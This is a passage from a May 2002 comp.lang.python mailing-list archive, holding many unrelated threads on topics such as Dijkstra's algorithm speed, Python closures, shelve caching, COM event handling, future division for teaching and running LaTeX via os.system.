result is even slower!? I guess that's because I use a lot of python elements in C code, ex. PyList, PyDict, even third party module, ex. kjbucket, pqueue, etc. Am I right? If that's the problem, what should I do? the code in Python: def Dijkstra(start, end, nodes, links, graph, maxDistance, nodeNum, linkNum): # implicit self-loop == path of length 0 if start == end: return (0, {}, [start]) # priority queue of path costs from start with edges Q = pqueue.create(nodeNum) #set S seenLinks = kjbuckets.kjSet(linkNum) #for KEDSP update, travled nodes in algorithm seenNodes = [start] #initial nodes for node in nodes: node.distance = maxDistance node.preceding = None start.distance = 0.0 #first step: strat node to neighbor for neighbor in graph.neighbors(start): pair = (start, neighbor) link = links[pair] Q.push(link.cPI, (link.cPI, pair)) seenLinks[link] = 1 while Q.peek() != None: (distance, pair) = Q.pop() # DEBUG PRINT STATEMENT #print distance, pair (left, right) = pair if distance < right.distance: seenNodes.append(right) right.preceding = left right.distance = distance if right == end: #done! selectedLinks = {} node = end while node.preceding != None: link = links[(node.preceding, node)] selectedLinks[(node.preceding, node)] = link node = node.preceding return (distance, selectedLinks, seenNodes) #otherwise add new edges for neighbor in graph.neighbors(right): pair = (right, neighbor) link = links[pair] if not seenLinks.has_key(link): seenLinks[link] = 1 Q.push(link.cPI + distance, (link.cPI + distance, pair)) raise ValueError, "Dijkstra unreachable" the code in C is too long, I attach it. -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: zd3sub.c Type: application/octet-stream Size: 7221 bytes Desc: not available URL: From toman at cyber-dyne.com Fri May 17 11:51:49 2002 From: toman at cyber-dyne.com (Joseph Toman) Date: Fri, 17 May 2002 08:51:49 -0700 Subject: Pythonwin and makepy problems Message-ID: How exactly does Pythonwin know how to tab complete an object in the interpreter window? I've written a COM object which is registered and has a typelib (OLB) file created. Then I start pythonwin and run makepy on the object from there. When I look at the newly created "GUID".py file in gen_py it looks like some dandy wrapper code, just what I would expect would be there. But when I create this object using win32com.client.Dispatch(ProgID), tab completion doesn't work on the resultant object. This isn't such a big deal, except that the code I'm using this object from depends on early binding to know whether an interface has an interator on it and things like that. This used to work with a previous (2.0) version of python. Running makepy on Excel works fine, and tab completion works on it. A toy COM object I wrote with the same compiler works fine as well. Ideas? Compiler: Borland C++ 5.01 Python : 2.2.1 win32 binary from python.org Python COM : win32all146 from starship J. Toman From tjreedy at udel.edu Mon May 13 17:08:58 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 13 May 2002 21:08:58 GMT Subject: Iterators in Sather and Python (was Re: Result of I need your experience - classification and comparison of languages) References: <3CDF6D3E.1090609@hmg.inpg.fr> Message-ID: "Alex Martelli" wrote in message news:CrSD8.52710$zW3.722063 at news1.tin.it... > Terry Reedy wrote: > > Python generators can be called with mutable arguments, can they not? > > This has little to do with the power of "hot arguments" to Sather > iterators, which are simply general expressions evaluated afresh each > time the iterator is called, while a "once argument" is evaluated at > the first call to the iterator within a given loop statement. The point I was making is that one *could* pass fresh values to a generator at every iteration via a list or dict and have the same effect as the Sather method. I don't recommend this, but I also think it is at least a bit wierd to have function calls that don't do what they look like they are doing and which might do something different after the first call. If I understand correctly, in the Sather version of the following: from somewhere import it a = b = 1 while 1: f(it(a,b)) a = a+1 b = b+2 one cannot tell from looking at the above whether either of the last two lines has any affect. Depending of the parameter-list definition in the it() source, it(a,b) could mean any of it(1,1), it(1,b), it(a,1), or it(a,b). ... >This is our most substantial disagreement Yes > -- I consider the unification >of ALL loop control structures into one overarching concept to be the >main contribution of Sather to innovation in programming languages. It is a matter of where you draw the line between what to unify and what to treat differently. In this case, the question is whether 'iterative flow-control' should be unified with 'alternative flow-control' or 'iterative collection-access'. > No reason to have all sort of different syntax when ONE syntax and one >Big Idea does it all (and more) even better Which is why some people like Lisp. On the other hand, some people prefer mixing operator expressions, function calls, and statements, even if they do understand the unifying Big Idea of function composition. > But the parallel between while and if is quite imperfect in most languages, ... > I don't think it makes sense to reject it based on a hypothetical parallelism > between while and if that doesn't hold anyway! 'while condition: block' is syntactic sugar for ':label: if condition: block; goto label'. My view was partly formed by Dijkstra's guarded command notation as used, for instance, in The Science of Programming by David Gries. He used two flow control commands: one for alternation and one for iteration. With '[] condition->block' changed to its Pythonic form, they are: if condition1: block1 condition2: block2 ... conditionn: blockn fi do condition1: block1 condition2: block2 ... conditionn: blockn od The difference for 'do' is the addition of an implicit 'goto enclosing do' at the end of each block. Terry J. Reedy From theller at python.net Tue May 14 13:24:54 2002 From: theller at python.net (Thomas Heller) Date: Tue, 14 May 2002 19:24:54 +0200 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: "Roman Suzi" wrote in message news:mailman.1021395327.8651.python-list at python.org... > On 10 May 2002, Coady wrote: > > BTW, what are the chances of PEP218 being built into Python? > (I mean, as built-in type, not library) It's listed as deferred (and its not mentioned in Guido's PEP parade). Maybe it needs a new champion? Thomas From kragen at pobox.com Thu May 16 03:25:44 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 16 May 2002 03:25:44 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: <831ycc1rlz.fsf@panacea.canonical.org> spam at bugbear.com (Paul Graham) writes: > It looks as if the closest thing would be something like this, > which a Python expert sent me: > > def foo(n): > s = [n] > def bar(i): > s[0] += i > return s[0] > return bar I don't think it's accurate to refer to me as a "Python expert". Maybe someone else sent you essentially the same thing? > Incidentally, here is Perl 5 code someone sent me for this case: > > sub foo { > my ($n) = @_; > return sub {return $n += $_[0]}} The final } should be on the next line for normal Perl style, and the second 'return' is gratuitous. (Neither 'return' is necessary, but only the second one is bad style.) From skip at pobox.com Thu May 30 13:36:21 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 12:36:21 -0500 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? In-Reply-To: <20020530194240.G2491@phd.pp.ru> References: <4c877253.0205091721.6f675f81@posting.google.com> <15606.17548.34442.644412@12-248-41-177.client.attbi.com> <20020530194240.G2491@phd.pp.ru> Message-ID: <15606.25365.849227.244569@12-248-41-177.client.attbi.com> >> import anydbm >> anydbm._names = ['gdbm', 'dbm', 'dumbdbm'] >> or some other combination of suitable module names. Messing with >> that in the core is not really a very good option, since shuffling >> that list will cause existing code to break (won't be able to open >> existing databases). Oleg> No, you are wrong. anydbm opens existing database by using whichdb Oleg> module, and thus it can open any existsing database recognized by Oleg> whichdb. Thanks for the correction. My mistake. Skip From google at blinker.net Mon May 27 14:27:29 2002 From: google at blinker.net (Bjoern) Date: 27 May 2002 11:27:29 -0700 Subject: newbie problem with files... Message-ID: Hello, I can't seem to read complete files, they are usually cropped after 1Kb or so. I've tried with file upload in cgi, but also reading files from disk directly and writing them to another file. The only thing I could imagine is that it has to do with the description of read(): "For certain files, like ttys, it makes sense to continue reading after an EOF is hit." I don't know what a ttys is - so how would I know when to continue reading after an EOF, and how would I then know when to stop? My current testcode goes like this fIn = open("doublebuffer.zip","r") fOut = open("double2.zip","wb") chunk = fIn.read() fOut.write(chunk) fOut.flush() fOut.close() fIn.close() where doublebuffer.zip is a 13Kb zipfile. double2.zip ends up a 1KB file that isn't a valid zip-file... Many thanks in advance for any pointers! Bjoern From mwh at python.net Tue May 28 09:52:13 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 28 May 2002 13:52:13 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> <3cf27f1e@si-nic.hrz.uni-siegen.de> Message-ID: Michael Hudson writes: > Simon Budig writes: [super_eval bytecodehack-lite-stylee] > > I am not sure if I want to do this or if the interception of > > sys.stdout is a more - uhm - Simon-friendly solution... ;-) > > Here's another crack. It works much the same way as the last one, but > is somewhat more sensible... [version using the compiler module] Actually, the two versions I posted share a piece of (probably) undesired behaviour. Can anyone spot it? Cheers, M. -- This proposal, if accepted, will probably mean a heck of a lot of work for somebody. But since I don't want it accepted, I don't care. -- Laura Creighton, PEP 666 From wyojustin at hotmail.com Wed May 15 21:25:35 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Thu, 16 May 2002 01:25:35 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: With nested_scopes you can avoid the default argument: from __future__ import nested_scopes def addn(x) return lambda y: x + y will do what you want. Justin Shaw "Paul Graham" wrote in message news:4f52f844.0205141503.40000c50 at posting.google.com... > I am not a Python expert, and I'm hoping someone > can tell me how in Python to write a function > of one argument x that returns a function of one > argument y that returns x+y. > > Here, in Scheme, is what I want to write: > > (define foo (x) (lambda (y) (+ x y))) > > I found on the web a page that says I could define > this as follows: > > def addn(x): > return lambda y,z=y: x+z > > but I don't think this is exactly the same thing, > because it returns a function that takes a second > optional argument. That is a substantial difference. > If the Scheme function is inadvertently called > (e.g. in someone else's code) with two arguments, it > would signal an error, whereas the code above would > quietly give the wrong answer. > > I would appreciate it if someone could tell me the > standard way to write this so that it returns a > function of exactly one argument. > > Thanks! > > [To reply to me directly please use pg at bugbear.com, > removing the , because I don't check spam at bugbear.com.] > From erno-news at erno.iki.fi Fri May 10 09:09:12 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 10 May 2002 16:09:12 +0300 Subject: writing binary file for different platform References: <3cdbc406.16463125@news.easynews.net> Message-ID: In article <3cdbc406.16463125 at news.easynews.net>, stojek at part-gmbh.de (Marcus Stojek) writes: | Now I have to prepare such a binary file on my Win system that will | be read on an IBM machine (IBM AIX 4.3.3.25) | From the doc I guess that I have to add a character to the format | string (e.g. '<' or '>' ). If this is correct then please could | someone tell me which one. If not then what else can i do ? with luck, the endianness character could make it work. but different platforms have different data type sizes, different floating point number formats and different alignment rules. so generally, you cannot do it with the struct module. you will therefore probably need to use a platform independent format for transferring data between your programs, such as text. -- erno From wolfson at uchicago.edu Thu May 23 01:18:22 2002 From: wolfson at uchicago.edu (Ben Wolfson) Date: Thu, 23 May 2002 00:18:22 -0500 Subject: OT: off-topic References: <3CEC6B59.3E125BF2@replyto.address.invalid> Message-ID: On Wed, 22 May 2002 23:08:57 -0500, Greg Ewing wrote: > Why stop at a Python-specific solution? Off-topic > postings are a problem in all newsgroups, so I > propose a single group: > > news.off-topic > > for all off-topic posts on any subject. The only > trouble is that, in that group, off-topic posts > would be *on* topic, and therefore not suitable > for news.off-topic... excuse me, my brain is > about to explode... A better solution is news.on-topic, which has the quality that whatever is posted there is on-topic no matter what it is. That way, whenever someone makes an off-topic post in a newsgroup, he or she can be directed to news.on-topic, where there will doubtlessly be some like-minded conversants. -- BTR BEN WOLFSON HAS RUINED ROCK MUSIC FOR A GENERATION -- Crgre Jvyyneq From mirandacascade at yahoo.com Mon May 13 18:22:31 2002 From: mirandacascade at yahoo.com (Miranda Evans) Date: 13 May 2002 15:22:31 -0700 Subject: wait() method of threading.Event() class References: <59e5b87.0205081451.69641041@posting.google.com> <3CD9B0A7.8010504@skippinet.com.au> Message-ID: <59e5b87.0205131422.3fe36805@posting.google.com> Using win32\Demos\timer_demo.py as a framework for a solution to this issue led to 2 additional questions: 1) are the last 2 arguments to MsgWaitForMultipleObjects() in timer_demo.py reversed? (I thought I saw a post that suggested this was the case, but haven't been able to find that post again.) 2) given the nature of this particular application (wait for either an event from COM object to fire or for a timer to expire, whichever comes first) is it preferable to use two classes (one for the timer and one for the events from the COM object) or one class (combine timer and COM object event handler in one class)? 2 class example: # glork is timer class glork # same __init__ and increments method as in timer_demo.py # evHandle handles events from COM object class evHandler def __init__(self): self.event = win32event.CreateEvent(None, 0, 0, None) def OnSomeEvent(self): win32event.SetEvent(self.event) def demo(delay=1000, stop=10): g=glork(delay, stop) eh=evHandler() # same code as in timer_demo.py except in while loop rc = win32event.MsgWaitForMultipleObjects((g.event, eh.event),0,500, win32event.QS_ALLEVENTS) #WAIT_OBJECT_0 to test for g.event #WAIT_OBJECT_0+1 to test for eh.event Or one class example class glork: # same __init__() and increment() methods as in timer_demo.py def OnSomeEvent(self): win32event.SetEvent(self.event) # demo() method same as in timer_demo.py; where first arg to # MsgWaitForMultiple objects is single element tuple (g.event,) Since this application wants to quit based on a whichever comes first rule, I thought it might be okay to combine the two things (timer and COM event notification) in one class, but wasn't sure if either: - that's bad design or - there are bad side effects to that design Mark Hammond wrote in message news:<3CD9B0A7.8010504 at skippinet.com.au>... > Miranda Evans wrote: > > Using: python 2.2, PythonWin environment, Windows 2000 O/S. > > > > Attempting to have a script handle the possibility that an event from > > a COM object might fire within x seconds. Wanted to have the script > > wait until either the event fired or x seconds elapsed (whichever > > comes first.) Thought this might be a good candidate for the > > threading.Event class. > > > > test.py: > > > > import win32com.client > > import threading > > testev = threading.Event() > > class xlEvents: > > def OnSheetBeforeDoubleClick(self, sh, Target, cancel): > > testev.set() > > > > def driver(): > > xl = win32com.client.DispatchWithEvents("Excel.Application", > > xlEvents) > > xl.Visible=1 > > xl.Workbooks.Add() > > # wait up to 30 seconds (assumes wait ends if testev is set in < 30 > > secs) > > testev.wait(30) > > if testev.isSet(): > > Unfortunately, COM's threading model bites here. I suggest reading > "Python Programming on Win32" for a fairly good COM threading model and > how it relates to Python description. > > Check out win32com\test\testMSOfficeEvents.py. It does a simple: > > if msvcrt.kbhit(): > msvcrt.getch() > pythoncom.PumpWaitingMessage() > > loop. Another (better) alternative would be > win32event.MsgWaitForMultipleObjects() - win32\Demos\timer_demo.py has > an example of this style of loop, and I am sure others would turn up. > > Mark. From blokeatiidotnet Thu May 23 12:05:23 2002 From: blokeatiidotnet (Rob Hall) Date: Fri, 24 May 2002 00:05:23 +0800 Subject: jython - animation problem References: <3ceca491$0$1529@echo-01.iinet.net.au> Message-ID: <3ced1273$0$1543@echo-01.iinet.net.au> DOH!!! "Rune Braathen" wrote in message news:uptzmq5yf.fsf at eyeone.com... > "Rob Hall" writes: > > > Hi all. > > > > Using Jython, I want to animate a rectangle moving across the > > screen, but am having trouble defining my old and new rectangle. > > Here's what I have: > > Well, the problem really isn't related to the animation... > > [ ... ] > > > oldRect = awt.Rectangle > > newRect = awt.Rectangle > > Here, you bind the name 'oldRect' and 'newRect' to the awt.Rectangle > class, I believe you want to create instances of the class: > > oldRect = awt.Rectangle() > newRect = awt.Rectangle() > > [ ... ] > > > (51) newRect.x = curX > > newRect points to the awt.Rectangle class in your code, so here you > attempt to set the static member 'x' to a value, but the awt.Rectangle > class have no such member. > > > The trouble is, when I run it I get the following error at line 51: > > > > AttributeError: set instance variable as static: public int > > java.awt.Rectangle.x > > > > What am I doing wrong? > > Something that will make you say to yourself: "DOH!" :) > > -- > runeb > From jblazi at hotmail.com Thu May 23 08:59:13 2002 From: jblazi at hotmail.com (jb) Date: Thu, 23 May 2002 14:59:13 +0200 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> <3cec8c79_1@goliath2.newsgroups.com> Message-ID: <3cece57f_5@goliath2.newsgroups.com> George Demmy wrote: > jb writes: > >> Chris Liechti wrote: >> >> > jb wrote in news:3cec0fa1_1 at news2.newsgroups.com: >> > >> >> I should like to execute the bash command >> >> >> >> (cd prefix;latex file.tex;dvips file) >> >> >> >> Can I do that with the os.system function? >> > >> > i think you can. >> > >> >>It seems I am having diffculties with that. >> > >> > then descibe that problem so that we can help :-) >> >> I create the Latex source and when I want to compile it the Latex >> compilation stops and an asteriks appears on the screen: >> >> xxx >> xxxxxx >> * >> >> But the latex file seems to be in order and when I do the same procedure >> from bash, everything is in order. >> When I execute the same command from Python, that is I have >> os.system('(cd ...)') >> the compilation stops. >> > > It "can" work... I just executed a os.system command similar to yours: > > os.system('cd tmp ; latex command.tex ; dvips -o foo.ps command.dvi') > > and it worked fine. Do you have TeX-specific environment variables > that may not be getting passed to the environment in which your > system command is executed? You can examine this environment by > looking at os.environ. This is a dictionary keyed by the name of the > environment variable. You can set values for the os.system environment > simply by assignment, e.g. > >>>> import os >>>> os.environ['TEXHOME'] = '/foo' >>>> os.system("echo $TEXHOME") I already looked at os.environ. It contains the variable TEXINPUTS. I hope that this environment is passed on to the system call. How can I find out if there are additional variables I have to set? -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From rjones at ekit-inc.com Tue May 14 23:19:06 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Wed, 15 May 2002 13:19:06 +1000 Subject: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT In-Reply-To: References: Message-ID: <200205151319.06701.rjones@ekit-inc.com> On Wed, 15 May 2002 06:41, John Machin wrote: > Richard Jones wrote in message > news:... > > > I've had a bug report for the kjbuckets module: > > > > http://sourceforge.net/tracker/?func=detail&atid=100662&aid=555391&group_ > >id=662 > > > > In summary, trying to "python setup.py install" the kjbuckets module > > distributed with the new Gadfly package results in: > > > > """ > > kjbucketsmodule.c(3301) : error C2099: initializer is not a constant > > kjbucketsmodule.c(3321) : error C2099: initializer is not a constant > > kjbucketsmodule.c(3341) : error C2099: initializer is not a constant > > Billy Gates don't lie, man! As the *MANUAL* points out, what you have > is not "strictly conforming C". Please read > > http://www.python.org/doc/current/ext/dnt-basics.html > > and the *FAQ*: > > http://www.python.org/doc/FAQ.html#3.24 I have already apologised once for not performing a web search before posting. I had inherited the module from another programmer, and assumed that the problem I had run into was unique, or it would already have been fixed. I will not make that assumption again. Thanks to all who responded. Richard From cjc26 at cornell.edu Sun May 5 19:13:18 2002 From: cjc26 at cornell.edu (Cliff Crawford) Date: Sun, 05 May 2002 23:13:18 GMT Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd52c11$0$25705$9b622d9e@news.freenet.de> Message-ID: In article <3cd52c11$0$25705$9b622d9e at news.freenet.de>, deckerben wrote: | | But I may have a different problem. I tried to install a couple python | packages to test hack-integrity. Every time I run any 'setup.py build' the | following happens: | | [...] | File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 135, in | check_envir | on | os.environ['PLAT'] = get_platform() | File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 43, in | get_platform | | (osname, host, release, version, machine) = os.uname() | TypeError: unpack non-sequence My guess is that your port of os.uname() doesn't return a tuple for some reason (see http://www.python.org/doc/current/lib/os-procinfo.html). -- Cliff Crawford :: cjc26 at cornell dot edu "They try to hide all of this under a facade of shiny, "lickable" buttons, but the truth has finally come out: Apple Computers promote Godless Darwinism and Communism." From pyth at devel.trillke.net Thu May 9 10:05:56 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 16:05:56 +0200 Subject: Cache-Commit Dictionaries (was: Re: survey: is shelve broken?) In-Reply-To: References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <20020507221623.GP4604@devel.trillke> Message-ID: <20020509140556.GA27672@devel.trillke> Hello Alex, hello everybody, After some seriously thinking about your suggestion/patch for fixing the behaviour of 'shelve' i think i have found a better solution which - avoids changing the shelve implementation at all and so avoids the previously discussed incompatibilities. - introduce a more general purpose "cache-commit" Dictionary which is useful for many cases. It's not much larger than the special-cased shelve-patch on sf. A cache-commit dictionary ('ccdict' for short) is a very *simple* transactional Wrapper-Dictionary with the following (to be further discuessed) properties: - It wraps a dictionary-like object which in turn only needs to provide __getitem__, __setitem__, __delitem__ - on first access of an element ccdict makes a lookup on the underlying dict and caches the item. - the next accesses work with the cached thing. dict-semantics as expected (e.g. your case) are provided. - commit() transfers the items in the cache to the underlying dict and clears the cache. - deleting an item is deferred and actually happens on commit() time. deleting an item and later on assigning to it works as expected. - deleting an ccdict-instance does *not* commit any changes. You have to explicitely call commit(). - clear() only cleares the cache and not the underlying dict (my intuition, yours also?) - setdefault/get work as expected. - (not implemented) provide iterator semantics? The name 'cache-commit' refers to the two prime characteristics: - caching accesses and - committing in one go all changes. The general ccdict does not call any sync/close/open functions. You have to feed it a dictish/shelvish object yourself! But i have included a 15-line ccshelve which uses ccdict and provides this functionality: >>> c = ccshelve('/tmp/testshelve', factory=shelve.open) >>> c['hello']='world' >>> c['liste']=[1,2,3] >>> c['liste'].append(42) >>> c.close() >>> c.reopen() >>> print c['liste'] [1, 2, 3, 42] Just execute the attached proof-of-concept-code and you'll (hopefully) see the testexample running and can directly start fiddling with it yourself. Hope you like it and stop thinking that i want to infest the world with globals, implicitisms and 'exec'-code :-) regards, holger -------------- next part -------------- #!/usr/bin/env python # requires python 2.2 class ccdict(dict): """ cache-commit dictionary must be initialized with a dictish-object. self.STATEDICT is the underlying dict (in capital letters to visually emphasize) """ def __init__(self, STATEDICT): dict.__init__(self) self.STATEDICT = STATEDICT self.deleted={} def get(self, key, default=None): if dict.has_key(self,key): v=dict.__getitem(self,key) else: if self.deleted.get(key): v=self[key]=default del deleted[key] else: v=self[key]=self.STATEDICT.get(key,default) return v def __getitem__(self, key): if dict.has_key(self,key): v = dict.__getitem__(self,key) else: if self.deleted.has_key(key): raise KeyError,"'%s' has been deleted" % key v=self[key]=self.STATEDICT[key] return v def has_key(self, key): if dict.has_key(self,key): return 1 if self.deleted.has_key(key): return 0 if self.STATEDICT.has_key(key): return 1 return 0 def __delitem__(self, key): if self.STATEDICT.has_key(key): if self.deleted.has_key(key): raise KeyError,"'%s' has been deleted" % key self.deleted[key]=1 if not self.has_key(key): return dict.__delitem__(self, key) def clear(self): self.deleted.clear() dict.clear(self) def setdefault(self, key, default): if self.has_key(key): v = dict.__getitem__(self,key) else: if self.deleted.has_key(key): v=self[key]=default del self.deleted[key] else: if self.STATEDICT.has_key(key): v=self[key]=self.STATEDICT[key] else: v=self[key]=default return v def commit(self): for key,obj in self.items(): self.STATEDICT[key]=obj self.deleted[key]=0 for key,value in self.deleted.items(): if value: del self.STATEDICT[key] dict.clear(self) self.deleted={} import shelve class ccshelve(ccdict): """ quick example giving cache-commit access to a shelve """ def __init__(self, name, factory=shelve.open): self.name=name self.factory=factory self.shelf=factory(name) ccdict.__init__(self, self.shelf) def sync(self): self.commit() self.shelf.sync() def __del__(self): self.shelf.close() def close(self): self.sync() self.shelf.close() self.shelf=None def reopen(self): if self.shelf: self.shelf.close() self.shelf = self.factory(self.name) ccdict.__init__(self,self.shelf) def clear(self): raise NotImplementError,"clear() semantics not yet defined" if __name__=='__main__': testexample=""" # yes i know about doctest :-) from __main__ import ccshelve c = ccshelve('/tmp/testshelve') c['hello']='world' c['liste']=[1,2,3] c['liste'].append(42) c.commit() c.reopen() del c['hello'] try: c['hello'] except KeyError: pass else: print "never executed!" print c.setdefault('hello',['python']) print c.get('nonexisting','nonexisting key, ok') c['hello'].append('rules') print c['hello'] c.close() c.reopen() print c['hello'] """ import code ic = code.InteractiveConsole() for line in testexample.split('\n'): print ">>>",line ic.push(line) ic.interact('use c.reopen() to continue fiddling around') From tjreedy at udel.edu Sun May 12 08:16:49 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 12 May 2002 12:16:49 GMT Subject: Changing to future division sitewide References: Message-ID: "Michael Williams" wrote in message news:ablhh9$ii04e$1 at ID-96223.news.dfncis.de... > We are about to embark on a series of trials of the Python language with > a view to replacing Pascal as the teaching language here in the > department of Physics at Oxford University [0]. Glad to read this. I expect this will benefit students. >We have a day (!) to teach the language so we are really keen on using the > new division that returns a mathematically intuitive result However, to read other code, students must know of different solutions to the int division problem, including Python's older/current one. I would explain briefly as follows: Int division is inherently messy. Properly speaking, the answer is a tuple -- with a choice as to whether remainders are always positive or sometimes negative. But we want a single number, so we again have a choice -- drop the remainder and keep integral part (which for negative answers can vary by one depending on the remainer sign choice) -- or promote to rationals or floats that allow fractional parts. Python (new) gives you easy access to three of these choices -- (floor, positive remainder) tuple (divmod), floor (//), and float fraction (/). > However, our students will be using idlefork to program (both > intereactively and in stored modules). Is there any way we can get the > new division behaviour sitewide, If you can compile an interpreter, I would suspect this would be fairly easy to do. >i.e. we would like the new behaviour in the following situations: However, that might be too universal. > 1) typing python at a command prompt (alias "python" to "python -Qnew"?) How about py = python -Qnew instead, to keep this separate issue from below. > 2) running a module they've saved (or indeed any module) Would all such modules be saved from idlefork? If so, see below. > This might be problematic as it would presumably apply to all modules > on the system which might break things--although this is a fresh > install of Python. All we have here is Python 2.2.1, Numeric, > Gnuplot.py (a Python wrapper of the Gnuplot program) and idlefork > (which is the development version of idle). > 3) Someone using the interactive interpreter in idlefork > Presumably this is going to involve doing more than one thing if it > ieven possible. We could always tell our students to put "from > __future__ import division" at the start of every program I would aim at creating an 'idlepy' command which would bring up python in -Qnew mode (assuming idlefork code itself is 'Qnew clean') with a possibly-patched idlefork in mode in which *it* puts the magic incantation at the start of every program. Automate the repetitive. I know nothing of idlefork at this time and do not know if it currently has a switch to do this, but it certainly ought to. I would certainly like a version that would do so. I suspect others would also. > without explaining it, but that's the kind a black magic we hoped to avoid by > using Python rather than, say, C. The current transitional reality is messy. (I would personally prefer faster to slower, but there was a lot of pressure toward slowness.) Just explain that Python is in transition from worse choice to better choice (among those discussed above) and hence the temporary kludge. Terry J. Reedy From mongiaamit at yahoo.com Sat May 25 09:16:10 2002 From: mongiaamit at yahoo.com (Amit Mongia) Date: 25 May 2002 06:16:10 -0700 Subject: Fatal Python error: GC object already in linked list References: Message-ID: Hi, I am using Python 2.2. Libcurl 7.9.5 and openssl 0.9.6 Thanx, Amit Michael Hudson wrote in message news:... > mongiaamit at yahoo.com (Amit Mongia) writes: > > > Hi, > > > > I am running a program using pycurl, to upload files on a server. I am > > using threads and lists in my program. There are times my program > > errors out and crashes with this error message. I am not using the > > Garbage Collector anywhere in my program. Any idea what can cause this > > error. > > > > Fatal Python error: GC object already in linked list > > Which Python version are you running? > > Cheers, > M. From logiplexsoftware at earthlink.net Wed May 15 18:24:08 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 15 May 2002 15:24:08 -0700 Subject: OT: Crazy Programming In-Reply-To: References: Message-ID: <20020515152408.6d461b72.logiplexsoftware@earthlink.net> On Wed, 15 May 2002 13:17:19 -0400 Christopher Encapera wrote: > lol! If she has, she has not let me in on the betrayal! (that would be so > 'artsy fartsy' of her:) On a more serious note, I do subscribe to that old > fashioned notion of the hierarchy of value, which recognizes that some > things, some philosophies, even some cultures & art are better than others. > While Willie Nelson's 'blue eyes cryin in the rain' might not be Mozart, it > is vastly superior (in every respect) to say, the rapper of the week (or > that "modern art" that sits in front of county hall). And that ain't no > personal opinion - that is objective truth - the very foundation of the > universe, the ground of all being and meaning, agrees with this evaluation > (i.e. it is objective truth!). Indeed what is arrogant is that philosophy > so popular these days that everything is relative - that there can be no > (other than subjective) evaluation of right and wrong, good and bad, art > and, well, bad art - it is an arrogant relativism gone wild :) But none of > this has much to do with that honorable, high art of programming python, and > will be my last laugh - I mean post - on the matter ;) I'm reminded of the Smith's "Hang the DJ": "because the music he constantly plays / says nothing to _me_ about _my_ life" [emphasis added] There can never be an "objective" view of art. It either speaks to you or it doesn't, but that is entirely subjective (unless of course you can prove that a particular piece speaks to no one). -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From jacob at boris.cd.chalmers.se.cd.chalmers.se Sat May 18 18:45:18 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 18 May 2002 22:45:18 GMT Subject: OT: Crazy Programming References: <23891c90.0205130956.6f0436a0@posting.google.com> <23891c90.0205160610.2f7f22c0@posting.google.com> Message-ID: In article <23891c90.0205160610.2f7f22c0 at posting.google.com>, Paul Boddie wrote: >I can understand people believing that the expression of concepts >through a written language can be regarded as literature, but >programming languages are somewhat different from natural languages, >and it is certainly dubious to want to replicate certain parts of >natural languages in computer languages. "Sorry your program didn't do >what was expected of it - there's some use of double-entendre in the >code, which I thought would make the program much more amusing to >read." The baroque went out of fashion over 200 years ago. Art is not merely decorative and for amusement. Jacob Hall?n -- From shagshag13 at yahoo.fr Fri May 31 13:24:52 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Fri, 31 May 2002 19:24:52 +0200 Subject: OverflowError: math range error ??? Message-ID: What does it mean "OverflowError: math range error" ??? I get this: Traceback (most recent call last): File "./build_index.py", line 91, in ? ii.updateWeight() File "./invertedindex.py", line 109, in updateWeight idf = ( math.log( (N + 1) / (df + 1) ) / math.log(2) + 1 ) OverflowError: math range error (ps: i am on Solaris, if this helps) thanks in advance, s13. From iwaters at btclick.com Sun May 12 17:51:35 2002 From: iwaters at btclick.com (ian) Date: Sun, 12 May 2002 22:51:35 +0100 Subject: converting types Message-ID: hi i know its a pain answering newbie questions that to you lot seem really simple but how do i convert an int into a string? the number variable errors number = len(list) num = "list is " + number + " long" print num cheers From tjreedy at udel.edu Fri May 10 19:52:30 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 10 May 2002 23:52:30 GMT Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <23ZC8.144977$N8.12010454@bin5.nnrp.aus1.giganews.com> "Steve Horne" wrote in message news:82undu4anb47usgck50ebil2ku1f36173q at 4ax.com... > I was wondering if maybe it is time that the Python 'core' grammar was > considered broadly complete, I've been thinking much the same thing. >with the exception of a special notation > specifically designed for the purpose of wrapping new grammar rules. but to me, complete means "don't make many more changes" rather than to facilitate making lots and lots ;<) Terry J. Reedy From brian at sweetapp.com Mon May 13 20:45:52 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 13 May 2002 